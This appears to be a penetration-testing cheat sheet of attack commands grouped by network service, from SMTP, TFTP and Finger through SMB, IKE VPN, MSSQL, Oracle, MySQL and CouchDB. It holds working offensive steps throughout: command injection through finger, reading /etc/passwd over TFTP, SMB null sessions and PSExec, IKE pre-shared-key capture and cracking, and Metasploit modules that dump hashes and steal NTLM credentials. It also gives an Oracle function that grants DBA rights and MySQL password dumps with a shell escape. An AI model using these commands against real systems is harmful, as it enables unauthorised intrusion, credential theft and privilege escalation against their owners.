HELO me
MAIL FROM: test@testdomain.com
RCPT TO: my_email@example.com
DATA
Subject: This is a test mail
From: Test User
To: Test Target
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
This is a test email for you to read.
.
QUIT
nmap -v --script=smtp-open-relay -p 25 <IP>
use auxiliary/scanner/smtp/smtp_relay
53 - DNS
DNS Enumeration
use auxiliary/gather/dns_srv_enum
use auxiliary/gather/enum_dns
tftp <IP> PUT local_file
tftp <IP> GET conf.txt (or other files)
# Solarwinds TFTP server
tftp – i <IP> GET /etc/passwd (old Solaris)
Bruteforcing
use auxiliary/scanner/tftp/tftpbrute
79 - Finger
User enumeration
finger root example.com
finger 'a b c d e f g h' @example.com
finger admin@example.com
finger user@example.com
finger 0@example.com
finger .@example.com
finger **@example.com
finger test@example.com
finger @example.com
nmap -sV -sC <target>
use auxiliary/scanner/finger/finger_users
Command execution
finger "|/bin/id@example.com"
finger "|/bin/ls -a /@example.com"
Finger Bounce
finger user@host@victim
finger @internal@external
Funny Bit
Weather forecast
finger london@graph.no
80, 8080, 443 - Web Ports
Too much to be listed here: These are not the droids you are looking for.
smbclient -L 10.10.10.10
smbclient //10.10.10.10/tmp
smbclient \\\\10.10.10.10\\ipc$ -U bob
smbclient //10.10.10.10/ipc$ -U bob
Null Session
net use \\<IP>\ipc$ "" /u:""
smbclient //TYPHOON/typhoon -I <IP> -N
Connectin with PSExec
use exploit/windows/smb/psexec
Configuration Files
Smb.conf
lmhosts
135, 593 - Microsoft Windows RPC Services and Microsoft RPC Services over HTTP
Enumeration
Endpoint Mapper Service Discovery
use auxiliary/scanner/dcerpc/endpoint_mapper
Hidden DCERPC Service Discovery
use auxiliary/scanner/dcerpc/hidden
Remote Management Interface Discovery
use auxiliary/scanner/dcerpc/management
DCERPC TCP Service Auditor
use auxiliary/scanner/dcerpc/tcp_dcerpc_auditor
Enumerate transform sets and confirm Aggressive Mode support
Run IKEForce in enum mode to obtain a valid group name or ID
Obtain a valid hash using IKE-Scan
Crack the hash using OCLHashcat
Run IKEForce in brute mode to obtain valid XAUTH credentials
Authenticate using chosen client
Pwn to your heart's content
enumerate id
Test 1
ike-scan
python ikeforce.py <IP> -a
python ikeforce.py <IP> -e -t x x x x -w ./wordlists
Test 2
ike-scan -M <IP>
ike-scan -M <IP> -A
ike-scan -M <IP> -A --auth=65001
for i in $(cat /root/groups.txt); do echo |tee -a /root/vpn-test; echo "Testing: $i" |tee -a /root/vpn-test && ike-scan -M <IP> -A --auth=65001 --id=$i | tee -a /root/vpn_test; done
grep "Handshake returned" -B2 /root/vpn_test
ike-scan -M <IP> -A --auth=65001 --id=ID -P/tmp/psk
Microsoft SQL Server SUSER_SNAME Windows Domain Account Enumeration
use auxiliary/admin/mssql/mssql_enum_domain_accounts
Microsoft SQL Server Find and Sample Data
use auxiliary/admin/mssql/mssql_findandsampledata
Microsoft SQL Server Generic Query
use auxiliary/admin/mssql/mssql_sql
MSSQL Schema Dump
use auxiliary/scanner/mssql/mssql_schemadump
Others
use auxiliary/admin/mssql/mssql_enum_domain_accounts_sqli
use auxiliary/admin/mssql/mssql_enum_sql_logins
use auxiliary/admin/mssql/mssql_escalate_dbowner
use auxiliary/admin/mssql/mssql_escalate_dbowner_sqli
use auxiliary/admin/mssql/mssql_escalate_execute_as
use auxiliary/admin/mssql/mssql_escalate_execute_as_sqli
use auxiliary/admin/mssql/mssql_idf
use auxiliary/admin/mssql/mssql_ntlm_stealer
use auxiliary/admin/mssql/mssql_ntlm_stealer_sqli
use auxiliary/admin/mssql/mssql_sql_file
use auxiliary/analyze/jtr_mssql_fast
use auxiliary/scanner/mssql/mssql_hashdump
use auxiliary/scanner/oracle/oracle_login
use auxiliary/scanner/oracle/sid_brute
PrivEsc
select * from session_privs;
select banner from v$version where banner like 'Oracle%';
Create function:
CREATE OR REPLACE FUNCTION GETDBA_mine(FOO varchar) return varchar deterministic authid current_user is pragma autonomous_transaction;
begin
execute immediate 'grant dba to myuser identified by myuser';
commit;
return 'FOO';
End;
Create index:
create index exploit_index_mine on SYS.DUAL(SCOTT.GETDBA_mine('BAR'));
nmap -A -n -p3306 <IP>
nmap -A -n -PN --script:ALL -p3306 <IP>
telnet <IP> 3306
use test; select * from test;
use auxiliary/scanner/mysql/mysql_version
use auxiliary/scanner/mysql/mysql_hashdump
mysql -u root -p -h <IP>
Quick testing
mysql -h <IP> -u root
mysql -h <IP> -u root
mysql -h <IP> -u root@localhost
mysql -h <IP>
mysql -h <IP> -u ""@localhost
Brute Force
use auxiliary/scanner/mysql/mysql_login
Privilege Escalation
Current Level of access
mysql> select user();
mysql> select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user where user='OUTPUT OF select user()';
Access passwords
mysql> use mysql
mysql> select user,password from user;
Create a new user and grant him privileges
mysql>create user test identified by 'test';
mysql> grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION;
Break into a shell
mysql> \! cat /etc/passwd
mysql> \! bash
curl http://<IP>:5984/
curl -X GET http://<IP>:5984/_all_dbs
curl -X GET http://user:password@<IP>:5984/_all_dbs
curl -X GET http://<IP>:5984/{dbname}/_all_docs
curl -X GET http://<IP>:5984/{dbname}/{id}